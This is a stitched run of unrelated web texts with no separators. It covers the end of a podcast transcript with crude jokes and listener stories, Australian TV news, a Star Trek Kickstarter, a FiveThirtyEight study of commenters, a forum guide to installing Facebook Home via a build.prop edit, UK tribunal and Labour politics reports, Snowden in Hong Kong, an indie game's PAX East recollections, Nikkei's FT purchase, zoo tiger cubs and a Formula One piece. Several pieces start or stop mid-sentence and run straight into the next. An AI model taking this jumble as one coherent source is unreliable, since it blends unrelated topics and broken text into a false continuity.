kids comes by with homework and has a ruler? How hard would you both not look at each other [chuckles]? Oh, dude, thank you for sharing that. That, oh, I would rather have, I would rather make somebody's toilet overflow at a party than experience that. Oh, my God. I love, too, that all of this stuff is transcribed by a service, and that some person who is normally not even a listener to this show is typing all this shit out. In fact, right now, whatever I say, they're going to type. Big wet pussy [chuckles]. Antelope running around inside my butthole [chuckles]. I love to blow alligators. I know they're laughing right now. If they're not, they are quitting their job tomorrow [chuckles]. Oh, my God. All right, this is, I got two more things to read. This is a Happy Moment, and the other one is, they're both Happy Moments. This is filled out by Sometimes I Think I'm Profound but I'm Probably Not, and she writes, I've been struggling a lot lately. I have that fun combo of anxiety, depression and ADHD and a myriad of other issues that I won't get into that have had me about ready to just give up. Recently I've been experiencing some insane mood swings, where one moment I think I'm okay and the next moment I'm sitting in my car in a random parking lot overcome with emotion that I can't even identify or understand and punching my steering wheel as hard as I can to feel pain in my fist instead of my chest. Anyway, I started on an antidepressant yesterday, and although I know it will be a few weeks before I feel the full effect, I do feel hopeful for the first time in a long time that maybe this will help me and that there may be a light at the end of the tunnel. My therapist also pointed out to me yesterday that I spend a lot of energy trying to figure out why I feel the way I feel, what the point is of doing anything and why I'm even on this Earth to begin with, only to be frustrated and disappointed when I can't find an answer. Sometimes there are no answers, and if I can just accept that and accept the way I feel, maybe I can focus more on what I need to feel better. And it really got me thinking, maybe I don't have to understand why I am here or what the point of anything is. Maybe it is just enough to be here as an observer of this amazing universe and to be thankful for every day in it. Life really is rare and beautiful, and people often don't realize this until their final moments. Struggle is an inherent part of our existence, but so is beauty and love and everything else that makes the struggle worth it. Although I still have a long ways to go to feel truly okay, for the first time I do feel like I will eventually find the contentment I've been seeking for so long, and that in itself is a miracle. Thank you for that. That was really beautiful, really beautiful. There was this thing that, I don't even remember where I read it, but a nurse who worked for a long time in hospice care and would be with, you know, was with many, many people at the end of their lives, she wrote this thing and said the most common thing that people say at the end of their lives is, I wish I would have worried less. And that makes me worry that I'm worrying too much. This is [chuckles] a Happy Moment. I love it for so many reasons. I reminds me so much of my childhood. We never played this game, but all of the things that she describes in it, the physical experiences, it's filled out by a woman who calls herself S.S. Cumbucket, and she writes, as my husband gets closer to receiving his Canadian citizenship, my mind has been flooded with thoughts about what it means to be a Canadian. Once you shelve the political garbage that normally accompanies such a thought, several childhood memories come to mind. One memory is so strong that when I shut my eyes I can feel the numb coldness of those winter nights. My brother and I would break from the warmth of our small home, grab our GT Racers, a type of sled with a blade to steer it, and walk to the nearest hill, which was perfect for tobogganing. It was bitterly cold and utterly silent. As we walked through the park, our boots crunched, giving off the squeaky sound of dry, powdered snow. Apart from the yellow haze of the far-off halogen street lamps, the only light was from the moon bouncing off the untouched blanket of snow. We stood at the top, taking in the perfection of a clean sheet, which would turn into a story written by us. Using my bulky gloved hand, I reached into my pocket to pull out a flashlight. I turned to my brother and he nodded. No words needed to be exchanged. This was a game we played many times and almost always in silence. There was something sacred about how quiet those nights were. I whipped my hand back and threw the flashlight as hard as I could. We were off, bounding down the hill, chasing after it, watching the beam whirling around frantically, throwing a pinprick of light infinitely out. The beam would cross our path as we both raced after it. Whoever caught the flashlight was the winner. Oftentimes we'd crash into each other with violent force, laughing it off with the invincibility of youth, walk up the hill again, again, again, time after time. I would learn later in my life that this is something called meditation. Our house was a noisy one and not in a good way. This was our church, silence. We grew tired of dragging our sleds up the hill, or when we grew tired of dragging our sleds up the hill, we would collapse at the bottom and look up at the stars. We would stay there until our teeth started chattering. Then we'd walk home and hang our GT Racers in the shed for another night. Wow. That was poetic. Thank you. Thanks for that. For some reason, this memory is burned into my head, of walking home on like a December night. It wasn't Christmas break but it was, we'd gone, there was a reservoir that we would sled down, because where I lived was really flat but the reservoir, they drained the water and so it's this super-steep hill that kids would go sledding down. And I just remember that feeling of being exhausted, but you had laughed so hard and your face like felt frostbitten and your nose and your toes and your fingertips. And you were so tired but you were just so relaxed, and just such a feeling of, a weird feeling of like accomplishment, relaxation and that melancholia that is so intense on those gray winter days, when the light is short in December. And I just remember one night walking home and just, I don't think I was consciously saying it to myself, but I remember thinking to myself, I feel so good and so bad at the same time. I felt like fulfilled and energized and also empty and sad at the same time. I don't know how to describe it, but I would imagine some of you have experienced that before. And, fuck, isn't that what life is in a nutshell, is just two completely conflicting things going on at the same time. Hm. Well, thank you for, thank you for all the nice sentiments some of you sent my way last week. It was not my intention, but we need each other. God, so much of my life I just was like, how can I do all of this on my own, and then wondered why I felt so lonely [chuckles]. Oh, anyway, I hope you heard something tonight that either entertained you or enlightened you-- [Closing music swells] --or enraged you or did something to make you feel something. And just never forget that you're not alone. And thanks for listening. [Closing music] Transcription services donated by Accurate Secretarial LLC. You can find them at www.AccurateSecretarial.com.Steve Price clashed with columnist Jamila Rizvi on The Project Broadcaster Steve Price has shared a tense exchange with former Labor staffer Jamila Rizvi following the shock US election result. Appearing on Channel Ten's The Project on Wednesday night, the pair clashed after Price claimed Rizvi interrupted him as the panel discussed Hillary Clinton's loss. Wearing a t-shirt with Hillary Clinton's logo, Ms Rizvi said she was in'shock' at the result and'sad' the US hadn't voted in a female president. After host Carrie Bickmore outlined how women had voted, she seemingly directed to Ms Rizvi for comment - however Price interjected, saying the breakdown showed the underlying discontent within non-metro America. Broadcaster Steve Price (left) has shared a tense exchange with former Labor staffer Jamila Rizvi (right) following the shock US election result Appearing on Channel 10's The Project on Wednesday night, the pair seemed to clash after Price claimed Rizvi interrupted him as the panel discussed Hillary Clinton's loss 'Well what that shows you is the people in real America, small town America, weren't buying the bulldust coming out of the elites,' Price began to say, before he was cut off by Rizvi. 'Sorry can we cut this bull** about the idea of there being a real America,' the news.com.au columinst said. Price attempted to jump back in, however his efforts were ignored as Ms Rizvi continued to lambaste Price's idea of a'real America'. 'All America is real - and the question I believe was to me - if you live in a city or you live in a small town you're still American,' she said. One Ms Rizvi had finished talking, Price then went on the attack. 'This is the reason why Donald Trump won, because people like you lecture and heckle people,' he said. Clearly taken aback by Price's comments, Ms Rizvi 'apologised' as the studio audience let out a collective 'woah', before host Carrie Bickmore intervened. 'Pricey, we were talking to Jamila and you don't need to keep that tone,' Bickmore said. The show's host Carrie Bickmore (right) was forced to intervene in the verbal stoush, telling Price off for using 'that tone' Rizvi pointed out the question was initially addressed at her as the studio audience let out a collective 'woah' Rizvi later took to social media to defend herself against broadcaster Ben Fordham who criticised her for interrupting Price 'I apologise, I thought I was on to be interviewed, so...' Ms Rizvi said. Never one to back down from his views, it was the former shock jock Price who had the last word against Kevin Rudd's former media assistant.A Kickstarter project by James and Trude Forscher seeks to fund a documentary “exploring the genesis of Star Trek through the personal insight of its creator.” The documentary will feature Forscher’s interview with Gene Roddenberry, which was recently found after being missing for almost thirty years, and interviews with surviving cast members. “Back in April 1985, I was fortunate to arrange a filmed interview with him,” said Forscher. “I was producing a show on censorship in Hollywood and had read about the challenges Star Trek faced in its first years on television. A cast member of the original crew called on my behalf, and Roddenberry gave me an interview that explored the genesis of how Star Trek came about. He passionately described the battles he fought with the networks, studios and an intolerant society that made the show a truly groundbreaking event in modern television history. “Soon after conducting the interview, I was told by my show’s executive producer to cut out the Roddenberry interview. The footage went back in my vault and sat there for nearly thirty years. In 2012, after a thorough organization of my film collection, I found several incorrectly marked boxes that contained the Gene Roddenberry interview.” The Kickstarter seeks to raise $15,000, which will enable Forscher to “create a documentary roughly twenty-two minutes in length with three interviews in addition to Mr. Roddenberry and license three [or] four film clips.” If more money is raised, more interviews would be included. The fundraiser includes perks and runs through August 10. For more information on The Gene Roddenberry Project Kickstarter, head to the link located here. Source: The Gene Roddenberry ProjectMy fascination with internet comments began as exasperation. I’d just written a short article that began with a quote from the movie “Blazing Saddles”: “Badges? We don’t need no stinkin’ badges!” After the story published, I quickly heard from readers explaining that, actually, the quote was originally from an earlier movie, “The Treasure of the Sierra Madre.” The thing was, I’d included that information in the article. This was no isolated case: I soon published another story that mentioned, by name, a program called parkrun, and yet I got about a half dozen emails from people helpfully informing me of this cool thing called parkrun. These episodes represented only a single type of comment, but they got me wondering about commenting more broadly. Only a small subset of readers ever comment. What compels them to take the time to weigh in? To learn more about the reasons that people comment, I collected data from two sources — an analysis of the comments here at FiveThirtyEight and a survey of more than 8,500 people. What I learned shifted my views about commenters and gave me some interesting insights into the hive mind. Why comment? The first thing I wanted to know was, why comment? What exactly are commenters seeking? A survey like ours isn’t perfect since it’s inevitably biased toward the subset of people most inclined to answer an internet survey (and, of course, self-reported results are notoriously unreliable). But it does provide a peek into people’s motivation. Our survey takers gave a wide range of answers, and my colleague Leah Libresco randomly sampled 500 of them and sorted them into categories describing their motivations. CAT SHARE OF RESPONDENTS Age % – Under 20 years old 5% – 20-29 29 – 30-39 28 – 40-49 14 – 50-59 12 – 60-69 9 – 70-100 2 – X – Identify as… – Female 23% – Male 76 – Other 1 – X – Comment frequency – Daily 24% – Weekly 17 – Every few weeks 10 – Monthly 4 – Every few months 15 – Once a year or less 16 – Never 15 – Who took our commenting survey? Our survey received 8,561 total responses. These percentages only count respondents who answered the relevant question — blank responses are excluded. Numbers may not add to 100 due to rounding. REASON PERCENTAGE Correct an error 19% – Add to discussion 18 – Give my personal perspective 10 – Represent my view 10 – Be funny 8 – Praise piece or commenters 8 – Ask a question or learn 7 – Persuade others 6 – Give my ego a boost 4 – Take part in or interact with a community 4 – Discover and express my thoughts 3 – Vent 2 – Troll 1 – What are you trying to accomplish by commenting? From 500 randomly selected respondents to an 8,561-respondent FiveThirtyEight survey. This group gave 437 open-ended answers to this question, which were grouped into categories by FiveThirtyEight staff. Source: FiveThirtyEight Our respondents’ reasons for commenting mirror the results of a recent survey of 600 news commenters by Talia Jomini Stroud and her colleagues at the University of Texas at Austin’s Engaging News Project. In their survey, the top three reasons that people gave for commenting were “to express an emotion or opinion,” “to add information” or “to correct inaccuracies or misinformation.” The bikes-and-dogs theory Certain stories seem to generate a disproportionate number of comments, and after years of being on the receiving end of comments, I’ve formed a theory: The subjects most likely to elicit impassioned responses are those that feel personal to the reader (a real-life experience with the subject has made them feel like an expert) and those that hit on identity in some way. It’s based on something a newspaper reporter in Boulder told me many years ago. Back then, readers were still mailing letters to the editor, and they had a seemingly endless appetite to debate two things: who was at fault in conflicts between cars and bikes and whether dogs should be allowed to run unleashed on city trails. To test this theory, I asked readers about the circumstances that made them most likely to comment. The answers lent at least some support to the bikes-and-dogs theory. But respondents’ reasons were more complex than my one, unified theory; commenters were also driven by a desire to provide their own information or to argue against an idea they disagreed with. PERCENTAGE SELECTING Know something about the subject that wasn’t in the article 55% – Identify with the topic 41 – Have a personal experience to add 35 – Disagree with the author 34 – Find an error 33 – Think it’s a really good story 31 – Agree with the author 27 – Think it’s a terrible story 12 – Readers are most likely to comment when they … Based on responses from 8,561-respondent FiveThirtyEight survey. Respondents could pick multiple items. How low do we go? Since I started down this road after receiving comments from people who hadn’t read (or absorbed) the whole article, I also asked survey takers how closely they read a story before commenting. Here again, I had a hypothesis: Maybe this commenting-without-reading phenomenon represents a variation of the backfire effect, in which a person who receives evidence that their belief is erroneous actually becomes more strongly convinced of the viewpoint they already held. In this case, the reader sees a headline that catches their interest and reminds them of something that they already know, which triggers them to think about their pre-existing knowledge or belief about the subject and then to blast it out to the world. The article they’re reading doesn’t inform them, it just provides an opportunity for them to reinforce (and broadcast) what they already know. I ran my theory by Brendan Nyhan, a Dartmouth political scientist who has studied the backfire effect. He told me it “seems plausible,” but said he wasn’t aware of any research testing this idea, “so in the spirit of your piece, I probably shouldn’t comment on it!” When asked if they generally read the whole article before commenting, a few respondents to our survey said they only skimmed or didn’t read past the headline, but the vast majority of them reported that they read the story in its entirety. That sounds encouraging, but I’m reluctant to take these answers at face value after talking to David Dunning, who’s a psychologist at the University of Michigan and one of the researchers known for identifying the Dunning-Kruger effect, a cognitive bias that, as the paper introducing the effect puts it, causes people to “fail to recognize their own incompetence.” “People are notoriously bad at comprehending what they’ve actually comprehended from text,” he said. “The correlation between what people think they’ve read and what they’ve actually read is quite small.” In a classic 1982 study, researchers asked study subjects to read a text that contained blatant contradictions and found that subjects who failed to find the contradictions still rated their comprehension as high. This could explain all those “stinking badges” comments. Who’s in the club? I’ve begun to think that many comments sections, including ours, are like a book club where members routinely fail to finish the book. The reading material is merely a starting point — the real purpose is to gather together to discuss interesting ideas. So who are the most frequent attendees at FiveThirtyEight’s discussion club? RANK NAME NUMBER OF COMMENTS 1 Warren Dew 552 – 2 Norman Shatkin 360 – 3 James Deedler 308 – 4 Fel Martins 269 – 5 Joseph Michael 252 – 6 Glenn Doty 247 – 7 Django Zeaman 234 – 8 Harold DePalma 230 – 9 Nealy Willy 217 – 10 Davey Williams 214 – FiveThirtyEight’s 10 most prolific commenters From comments on FiveThirtyEight articles between March 10, 2014, and Nov. 17, 2016. Norman Shatkin is FiveThirtyEight’s second-most-prolific commenter. A retired computer programmer in Rhinebeck, New York, Shatkin leans liberal and calls himself a “politics junkie.” He said that he mostly comments to share his perspective on issues. But he’s also seeking a dialogue with people who have different viewpoints so he can swap ideas with them. He points to Dan Frushour (number 13 on FiveThirtyEight’s top 50 list) as someone whose political views are on the opposite side of his. “We share common values in some areas, and I find it valuable to exchange views with such people, because we can address each other in a common language.” Most of the people he encounters in his community, including the gang he gets together with every morning for coffee and doughnuts, have views similar to his own. Warren Dew, a software engineer from Somerville, Massachusetts, has posted 552 comments — more than one and a half times as many as Shatkin — and that’s just at FiveThirtyEight. He comments elsewhere too, including cavemanforum.com, Amazon, the scientific journal BMJ, generational-theory.com and at least one bargain-hunting site. He’s most interested in political discussions and he largely comments in order to take part in political arguments with others “on the right of center.” I asked what he gets out of commenting. “It helps me clarify my own thinking,” he said. “I am always trying to test my ideas.” He prefers to lose an argument and learn something than win an argument and finish with the same ideas he had when he started. Dew is not a troll, but his comments can be pointed. On a story of mine about hormones and athletic performance, he commented, “Sounds like Christie is just looking for an excuse about how she never could have gotten to the top, to justify her not trying.” On the phone, though, he was very pleasant and measured, and I asked if he spoke differently online than in person. “I can have a conversation and argument with people I disagree with on FiveThirtyEight and be totally blunt because I don’t know these people in real life,” he said. “In a social or work situation, I have to be more careful.” Online, he’s “brutally honest.” Comments often serve as identity badges, said Joseph Reagle, the author of “Reading the Comments: Likers, Haters, and Manipulators at the Bottom of the Web” and a professor of communication studies at Northeastern University. “You see this particularly on social media,” he told me. The comment is meant to tell the world, “This is who I am.” People may also comment to gain approval and solidarity with their social group, he said. “It’s a way of saying, ‘I am like you.’” Of course, offering a correction can also be a means of propping up one’s own ego. Entering the comments fray can seem futile. “What I have learned from the little commenting I have done is that it accomplishes nothing and provokes the very opposite of rational, thoughtful discourse,” wrote Elisabeth Carroll. After reading all the survey data and talking to some commenters by phone, my views of comments and commenters have come full circle. Setting aside the trolls, who should, as a rule, be ignored or blocked, I can’t help thinking that on a certain level, commenters want the same thing I do — to have our ideas heard and carefully considered. We all want to have a say, if only we could find a way to stop shouting. Additional reporting by Dhrumil Mehta and Leah Libresco.EDIT - MODACO modified apks FOR ANY DEVICE are now up. No root required for these. Below is the original method using the Google Play version of Facebook Home.apk Chat heads will work etc!********************************************** ********************************************** **********************So I've finally got Home working on my N4... I knew I'd get it working in the end. Now I've tried it - it's OK.Instructions...1. (ROOT NEEDED!) Change build.prop to GS3 / HTC One X etc... BuildPropEditor Just change ro.product.model from 'Nexus 4' to 'HTC One X'. REBOOT to take affect!2. Delete other versions of FB Home from your phone. Ensure current Facebook AND Messenger apps are updated. Clear these apps data.3. Download and install home.apk (This is the unmodified Google Play version).4. Sign in. Facebook app settings > Enable Facebook Home.5. Revert build.prop and REBOOT!6. Hit thanks and ENJOY for a little while. Maybe. Then uninstall.Miss Dean was born with her left forearm missing A disabled woman from north-west London has won her employment tribunal against clothing giant Abercrombie and Fitch. Riam Dean, 22, who has a prosthetic arm, claimed she was "diminished" for not fitting the "look policy" at the Savile Row store in central London. A central London tribunal awarded Miss Dean £8,000 for unlawful harassment and ruled that Abercrombie and Fitch failed to comply with employment law. But the tribunal found Miss Dean did not suffer disability discrimination. Miss Dean, who has just finished exams at Queen Mary University in east London, had claimed she was made to work in the stockroom for not fitting the brand's "all-American" image. The tribunal heard she resigned from the store following the spat and was left "distraught". Riam showed great courage in bringing this case against a huge multi-national company Steve Beverley, Miss Dean's solicitor Abercrombie and Fitch (A&F) maintained throughout the hearing that it valued inclusiveness. But the tribunal upheld Miss Dean's claim that she had been unlawfully harassed for a reason relating to her disability. The judge found that A&F's handling of the row had failed to comply with employment law. The tribunal surmised that Miss Dean, from Greenford, was wrongly dismissed. But her claim of direct disability discrimination was described as "not well founded". 'Felt humiliated' Miss Dean was awarded £136 basic compensation and £1,077 for loss of earnings. The panel, which accepted she felt "humiliated" and experienced a "loss of confidence" following the dispute, also awarded her £6,800 for hurt feelings. Abercrombie and Fitch's Savile Row shop is its flagship UK store Miss Dean, who was forced to work in the stockroom after wearing a cardigan to cover her prosthetic arm, had originally sued the company for up to £20,000. The ruling stated: "The tribunal is satisfied the reason for the claimant's dismissal was her breach of the look policy in wearing a cardigan. "Whilst the tribunal is satisfied the claimant's dismissal was a consequence of her unlawful harassment, it can not be characterised direct disability discrimination." Solicitor Steve Beverley, who represented Miss Dean at the tribunal, said: "I'm delighted for Riam who showed great courage - not only in bringing this case against a huge multi-national company, but in facing a challenging cross examination. "It is all very well having glossy staff handbooks dealing with discrimination procedures - but you must actually apply them." In a statement, counsel for A&F David Cupps, said the findings of the Tribunal were based "on the events of a single day" and that these "were not at all representative of Ms Dean's overall employment with A&F". "We continue to believe that these events resulted from a misunderstanding that could have been avoided by better communication on the part of both parties," said Mr Cupps who added that the company continued to support the rights of disabled individuals. Bookmark with: Delicious Digg reddit Facebook StumbleUpon What are these? E-mail this to a friend Printable versionMore than any other stance, it was Jeremy Corbyn's opposition to austerity that won him the Labour leadership. After their anger at Ed Miliband's refusal to reject spending cuts, activists embraced Corbyn's red-blooded alternative. Having initially accepted George Osborne's fiscal charter, committing the goverrnment to acheiving a budget surplus by 2019/20, shadow chancellor John McDonnell has since been clear in his rejection of austerity. In the last parliament, Miliband and Ed Balls disappointed many on the left by opposing most of the government's cuts before conceding that they would be unable to reverse them if elected. A report in yesterday's Observer suggested that McDonnell would avoid following this path. The shadow chancellor was reported to be planning a "fiscal credibility rule" that would "guarantee that all cuts announced for this parliament could be reversed in full". The Conservatives have been quick to pounce, declaring that Labour's policy would mean "£2,000 more debt and taxes for every working household in Britain" as they "scramble to find £33.5bn to fund their spending splurge." But a senior Labour source emphasised that nothing had been concluded. "We are looking at numerous options, one version of which could give us enough fiscal space to offer the policy option of reversing the cuts," the source told me. "However, we are a long way from even having these discussions about what we would do with that fiscal space. And who knows in 2019/20 what the state of the economy will be." While keen to shed its profligate image (to the unhappiness of some shadow cabinet members, McDonnell has introduced a veto on spending commitments), Labour is increasingly confident in its rejection of Osborne's surplus rule. The IFS has warned that the Chancellor may have to impose further austerity to achieve his target, while the Treasury select committee has said that the policy is not "credible in its current form" and that it "provides no flexibility to respond to changing economic circumstances". A senior Labour source said: "Most mainstream macroeconomists agree with us that austerity is not a sensible policy option." Last week, the UK's borrowing costs fell to their lowest level since records began in the 17th century (1.3 per cent), strengthening the case for investment. But while Labour's stance does not lack intellectual support, it is the public it will have to convince. Even if voters are sympathetic to anti-austerity (as some polls suggest), the party's challenge is to persuade them not only that it wants to end cuts but that it has the capability to do so.Hong Kong authorities have co-operated with the CIA in the past to remove enemies of US, says Human Rights Watch director The US whistleblower Edward Snowden should not consider himself safe in Hong Kong, which has co-operated with the CIA before to remove America's enemies, the emergencies director of Human Rights Watch has warned. "There's little doubt [reason] to believe that the Hong Kong authorities would not co-operate with the CIA in this case," said Peter Bouckaert, who after the fall of Muammar Gaddafi found faxes in Tripoli indicating that the Hong Kong authorities had co-operated with the CIA in rendering an anti-Gaddafi Islamist to Libya. Snowden said he had chosen Hong Kong as the place from which to reveal his identity as the source of the Guardian's series of stories about US surveillance because "they have a spirited commitment to free speech and the right of political dissent", and because he believed that it was one of the few places in the world that could and would resist the dictates of the US government. Bouckaert, however, said Snowden was mistaken on both points. "The rendition of [Sami al-]Saadi took place nine years ago in 2004, but I certainly would not consider Hong Kong a safe place for him [Snowden] at the moment," he told the Guardian. "Certainly the reputation of Hong Kong as a place where free speech is defended has decreased in recent years, [and] there is no reason to believe that the very close relationship which is visible from these faxes between the intelligence agency in Hong Kong and the CIA has changed in a significant way … and that Snowden would not be at risk from extradition from Hong Kong." He added: "It's very clear from the faxes that the Hong Kong authorities at the time co-operated very closely with both the CIA and MI6 in bringing Saadi back to Libya, where he was later tortured and sentenced to death." In the event he was not executed. Snowden is currently in Hong Kong, but he moved to a new hotel in an unknown location on Monday. A landmark legal ruling in Hong Kong could buy him time if he decides to apply for asylum there. Meanwhile activists in Iceland are making preparations should the whistleblower try to head there, as he has indicated he might. "My predisposition is to seek asylum in a country with shared values. The nation that most encompasses this is Iceland. They stood up for people over internet freedom," he told the Guardian. On Tuesday, a spokesman for Vladimir Putin said that if Snowden applied for asylum in Russia, the request would be considered. "If such an appeal is given, it will be considered. We'll act according to facts," said Dmitry Peskov. The move seems to have more to do with Russia's support for anti-western dissidents than any commitment to freedom of speech of whistleblowing. At the end of last year British ministers agreed to pay more than £2m to the family of Saadi by way of compensation and without admitting any liability in the case.
were showing it. Like he fixed a bug, on my laptop, in the booth, while we were showing it on the desktop on the table in front of us. And I got up at like 4:30 in the morning before day two to fix a few more of the other little problems. Code changes during the show. Christian: One of the worst problems was kids coming by and hammering buttons way more than we had ever hammered. You couldn’t practice swing in the game, so you’re up to bat you’ve got to push the swing button exactly once. You got one shot at it. And if you tried to push it and push it again, none of that for you. So there was a lot of frustration from players because they tried to figure out what to do and they’d swing, and that was the end of that. So that needed to get fixed right away. Liane: “People actually enjoying the game” Christian: So this kind of relates to the “me being horrified” part. I didn’t know whether anyone was going to come by and play our game. It turns out there’s all these baseball fans in Boston. No surprise there I guess. And you know, people came by and played it for more than a trivial amount of time. Like, it was beyond the timespan that somebody who accidentally got suckered into a booth feels obligated to stand there. They actually played the game for a bit. Scott: Totally. Christian: And there’s even people that came back to play more than one game and stuff. So there was definitely interest, which was very nice to see and made my nervousness go down quite a bit. It meant I didn’t have to resort to the vodka bottle. Which was good. Laughs Scott: Yeah, after all this time we had spent developing it, just to have some people that were interested in it enough – in the super rough state that it was in – to come back and play a few games of it, was pretty cool. That was a good boost of motivation for us I think. Here’s Scott, stoked to be watching strangers play the game for the first time: Liane: “Making connections” Scott: Folks from all corners of the industry came by to check the game out. Shout out to Rich Grisham and T.J. Lauerman (HitThePass.com) who I reckon were the first media-type folks to come by for a demo. So we met a bunch of media, talked to some publishers, and so on. None of that actually ever panned out into a publishing deal, and obviously we ended up independently publishing the game, but there was definitely some cool new opportunities that arose out of that. It was good motivation to know that others saw some potential with this. Liane: “Tired but in good spirits” Scott: That weekend was one of the most tiring experiences of my life, actually. Because the booth was open all weekend and we only had the two of us, so we literally had to be at the booth for every second it was open. With all the travel on both sides. And we couldn’t even go for lunch. We were eating just behind the booth or whatever, we were doing wrestler tag team just to go to the bathroom. It was awful. Don’t ever try to run a booth with two people, ever. Never again. Christian: I don’t have anything to add to that. It sucked. Silence. Liane: What was the “but in good spirits” part, then? Scott & Christian: Big laughs Scott: Uh after we got some sleep, the sense of motivation was there I think. We knew that there was a good chance that at least some people were gonna like the game. Christian: It was going to sell 5 copies, yay. Scott: It was gonna sell at least 5 copies. Christian: I remember the horrified a lot more than any sort of positive spirits coming out of that. I think I’m just glad I survived. Scott: It was definitely one of those events that’s like, when it’s over, “well, if that can go okay… things are gonna be okay.” It was an intense three months leading up to PAX East, and an even more intense weekend at the show. But it went well, so that means smooth sailing from this point on, right? Actually, our next post will be the lowest point in the story, so get ready. And as always, leave your questions in the comments section below – the guys will do their best to answer! TIMELINEWhy did Nikkei buy the Financial Times? As my colleague Rob Cox points out, the best explanation is demographic. Thanks to minimal immigration and a small number of children, the population of the Japanese group’s home market is shrinking by about 30 percent each generation. Many companies that want to grow – as shareholders and managers generally expect big firms to do – have to look abroad for expansion. Japanese managers may prefer not to talk about their otherwise inevitable decline. It is more pleasant to talk about global opportunities. However, the numbers are stark, and not just in Japan. The combination of low birth rates and economic maturity threaten the conventional strategies of many companies in all developed markets. When the number of customers is hardly increasing and the total national wealth is growing slowly, analysts and the bosses who expect revenue to increase at a much faster pace than nominal GDP are likely to be disappointed. Company quality and business prospects are both what statisticians call normal distributions – most of them are close to average. They will grow a bit less fast than the whole economy grows, which is to say, slowly. For rich and ageing countries, the real GDP growth rate is likely to be no more than 2 percent a year, and most of that growth will come from the likes of Google and Facebook, which provide totally new goods and services. For the rest, prospects are mediocre at best. Decline is the natural destiny of most purely Japanese companies, in products ranging from soap to nuts, from electricity generation to clothing. Western Europe has similar birth rates to Japan but more immigrants, so the normal corporate fate there is stagnation rather than decline. American companies benefit from a higher birth rate and some immigration, so they can expect slow growth. Under the dull demographic circumstances, international expansion is tempting. Nikkei is a latecomer. Many big Japanese groups already have significant operations abroad, as do their peers in other developed countries. Such investments sometimes work well, when superior foreign intruders can take share from sleepy domestic rivals. Japanese carmakers grew with that strategy, as did American fast food restaurants and European makers of precision machines. However, choosing where to expand has got harder. Rich countries have become more difficult to win over, as markets have become more global. Nikkei could not hope to build up a rival to the Financial Times, nor could Japanese distiller Suntory hope to enter the bourbon market to take on Jim Beam. Both Japanese companies decided to buy the established foreign players at relatively high prices. Those purchases might work, but the strategy of paying full prices for mature companies in mature markets is fundamentally flawed. The new foreign owners rarely have any operational or financial magic which crosses borders. They will most likely just capture the sluggish growth of the acquired companies. Poor countries used to be a better place for established global leaders to find growth. But what are now known optimistically as emerging economies seem to be producing fairly sophisticated domestic champions at a fairly early stage of development. General Motors plans to expand massively in emerging markets, but it will work with a Chinese partner. Combine stronger competition with persistent economic nationalism, and the path through emerging markets is rocky for many companies from developed economies. At the end, there is rarely an Emerald City of huge profits. As any international mining executive will explain with some bitterness, successful investment these days usually requires a big commitment, local contacts and often a willingness to share profits with foreign governments and companies. It’s right that rich-world companies should find it hard to buy poor-country peers cheaply. The wealthy should help the less well-off, not take advantage of their ignorance or incompetence. In a more generous world, mature companies would be delighted to sacrifice profit for the sake of development. As it stands, though, if shareholders and managers are honest in their analysis, they might often decide the effort is not justified by the likely rewards. In sum, relatively few mature enterprises in rich countries can hope to escape the global trends – little or no growth at home or in similar lands, and a big struggle to capture profit from growth in more promising economies. Mergers can add to operating efficiency, and creative accounting, for example share buybacks, can add artificial lustre to the historic record. However, the demographic and economic forces are ineluctable. Many shareholders and managers would prefer to ignore or deny this hard reality. That is ultimately wasteful. Expensive acquisitions and ambitious growth-seeking investments are often a waste of time and money. For Nikkei and its ilk, the best way forward might be to accept a much duller destiny.The Lowry Park Zoo in Tampa, Florida invites the public to see its beautiful new white tiger cubs. The cubs are only seven weeks old, so get over to Tampa for a first hand look at these Tiger Tots! A pair of seven-week-old white tiger cubs born at Tampa’s Lowry Park Zoo are beginning to explore their exhibit with mother, “Nikki,” in the zoo’s Asian Gardens area. The family is doing well, with mother and cubs spending most of their first weeks together off exhibit for their safety and privacy in bonding. As the cubs have grown and matured, zoo staff has begun the process of offering access to the outdoor yard for short intervals as the family establishes a new pattern of behavior. This is the second litter for experienced mom Nikki while living at Tampa’s Lowry Park Zoo. The newest cubs, a boy and a girl, were born the morning of October 4 weighing about 3.6 and 2.5 pounds respectively on their first veterinary check-up. The zoo’s adult white male tiger, “Yala,” is Nikki’s mate and sired the new cubs. The zoo’s Asia keepers have monitored mother and the newborn cubs closely since birth, and report that Nikki is a very attentive is nursing routinely. The cubs are now well-bonded with mom and are moving about with improving motor skills. Although the mother and father are an established couple, the adult male will be separated for the time being for the safety of the cubs. The gestation period for tigers is three to four months, or approximately 110 days. The average litter is two or three cubs which weigh about two pounds at birth. Cubs are born with their eyes shut and helpless, relying entirely on their mother for the first three months and nursing for many more. The survival of the cubs will be dependent upon the mother’s ability to care and nurture them, the cubs’ ability to fight any infections association with normal birth, and the success of weaning and independence. White tigers originate from Bengal tigers. They are not albinos and they are not a separate subspecies of tiger. They have blue eyes, a pink nose and white fur covered with chocolate-colored stripes. White tigers are born to tigers that carry the unusual gene needed for white coloring. Wild white tigers are very rare, because their white coats provide poor camouflage, making them easily spotted by prey. Public viewing of the Zoo’s newest white wonders will be limited to morning initially as the cubs continue to grow and mature. Mother and cubs will rotate on exhibit with their white tiger father, Yala.Hamilton can win the British Grand Prix, says Moss as duo join forces at Silverstone Legendary driver Sir Stirling Moss - who in 1955 became the last Mercedes-Benz driver to win the British Grand Prix - fancies Lewis Hamilton's chances of emulating him. The race at Silverstone is under a month away, taking place between June 28-30, and the pair met on Friday. Hamilton said: 'Winning the British Grand Prix in 2008 was an incredible moment for me. I’ve been aiming to repeat it every year since and I’d love to achieve what Sir Stirling did and win my second race at Silverstone. Generation gap: Sir Stirling Moss (left) thinks Lewis Hamilton (right) can emulate his British GP win with Mercedes 'We have a good car this year so I hope we can do it and it would be great to make the team proud at my home race. Silverstone is so special for the British drivers and the weekend is made by the amazing support from our home fans. 'The atmosphere, the flags flying around the circuit and just seeing everyone supporting us really does lift you. 'I hope we can put on a good show for them and we’ll be pushing as hard as possible to give them a great weekend.' Moss added: 'I think Lewis has a very good chance of winning the British Grand Prix this year. It’s not going to be easy and there are a lot of other good drivers out there trying to stop him, but he’s a very fast driver, exciting to watch, and the car he’s got is as good as any of them. He’s in with a good chance. Great chance: Moss says Hamilton is a fast driver and an exciting one to watch 'Winning the British Grand Prix meant a lot to me. I won in this Mercedes-Benz W 196 in 1955, just before the very last corner. It really was a very special day. I remember it quite well; I’d caught up with Fangio and overtaken him in traffic; as we went round the last corner I put my foot flat on the floor and took the chequered flag. I finished literally half a car length in front. 